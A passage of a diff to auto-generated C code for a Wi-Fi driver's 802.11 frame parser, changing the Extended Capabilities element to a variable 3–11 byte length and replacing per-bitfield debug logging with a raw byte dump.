DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fBeacon2, OperatingMode), offsetof(tDot11fIEOperatingMode, present), 0, "OperatingMode" , 0, 3, 3, SigIeOperatingMode, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OPERATINGMODE, 0, }, {offsetof(tDot11fBeacon2, WiderBWChanSwitchAnn), offsetof(tDot11fIEWiderBWChanSwitchAnn, present), 0, "WiderBWChanSwitchAnn" , 0, 5, 5, SigIeWiderBWChanSwitchAnn, {0, 0, 0, 0, 0}, 0, DOT11F_EID_WIDERBWCHANSWITCHANN, 0, }, {offsetof(tDot11fBeacon2, OBSSScanParameters), offsetof(tDot11fIEOBSSScanParameters, present), 0, "OBSSScanParameters" , 0, 16, 16, SigIeOBSSScanParameters, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OBSSSCANPARAMETERS, 0, }, @@ -10690,57 +10544,8 @@ tANI_U32 dot11fUnpackBeacon2(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 nBuf, } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("OperatingMode:\n")); if (!pFrm->OperatingMode.present) @@ -10832,7 +10637,7 @@ tANI_U32 dot11fUnpackBeacon2(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 nBuf, {offsetof(tDot11fBeaconIEs, VHTCaps), offsetof(tDot11fIEVHTCaps, present), 0, "VHTCaps" , 0, 14, 14, SigIeVHTCaps, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTCAPS, 0, }, {offsetof(tDot11fBeaconIEs, VHTOperation), offsetof(tDot11fIEVHTOperation, present), 0, "VHTOperation" , 0, 7, 7, SigIeVHTOperation, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTOPERATION, 0, }, {offsetof(tDot11fBeaconIEs, VHTExtBssLoad), offsetof(tDot11fIEVHTExtBssLoad, present), 0, "VHTExtBssLoad" , 0, 7, 7, SigIeVHTExtBssLoad, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTEXTBSSLOAD, 0, }, - {offsetof(tDot11fBeaconIEs, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fBeaconIEs, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fBeaconIEs, OperatingMode), offsetof(tDot11fIEOperatingMode, present), 0, "OperatingMode" , 0, 3, 3, SigIeOperatingMode, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OPERATINGMODE, 0, }, {offsetof(tDot11fBeaconIEs, WiderBWChanSwitchAnn), offsetof(tDot11fIEWiderBWChanSwitchAnn, present), 0, "WiderBWChanSwitchAnn" , 0, 5, 5, SigIeWiderBWChanSwitchAnn, {0, 0, 0, 0, 0}, 0, DOT11F_EID_WIDERBWCHANSWITCHANN, 0, }, {offsetof(tDot11fBeaconIEs, OBSSScanParameters), offsetof(tDot11fIEOBSSScanParameters, present), 0, "OBSSScanParameters" , 0, 16, 16, SigIeOBSSScanParameters, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OBSSSCANPARAMETERS, 0, }, @@ -11953,57 +11758,8 @@ tANI_U32 dot11fUnpackBeaconIEs(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 nBuf } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("OperatingMode:\n")); if (!pFrm->OperatingMode.present) @@ -14374,7 +14130,7 @@ tANI_U32 dot11fUnpackProbeRequest(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 n {offsetof(tDot11fProbeResponse, VHTCaps), offsetof(tDot11fIEVHTCaps, present), 0, "VHTCaps" , 0, 14, 14, SigIeVHTCaps, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTCAPS, 0, }, {offsetof(tDot11fProbeResponse, VHTOperation), offsetof(tDot11fIEVHTOperation, present), 0, "VHTOperation" , 0, 7, 7, SigIeVHTOperation, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTOPERATION, 0, }, {offsetof(tDot11fProbeResponse, VHTExtBssLoad), offsetof(tDot11fIEVHTExtBssLoad, present), 0, "VHTExtBssLoad" , 0, 7, 7, SigIeVHTExtBssLoad, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTEXTBSSLOAD, 0, }, - {offsetof(tDot11fProbeResponse, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fProbeResponse, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fProbeResponse, OBSSScanParameters), offsetof(tDot11fIEOBSSScanParameters, present), 0, "OBSSScanParameters" , 0, 16, 16, SigIeOBSSScanParameters, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OBSSSCANPARAMETERS, 0, }, {0, 0, 0, NULL, 0, 0, 0, 0, {0, 0, 0, 0, 0}, 0, 0xff, 0, }, }; @@ -15462,57 +15218,8 @@ tANI_U32 dot11fUnpackProbeResponse(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, 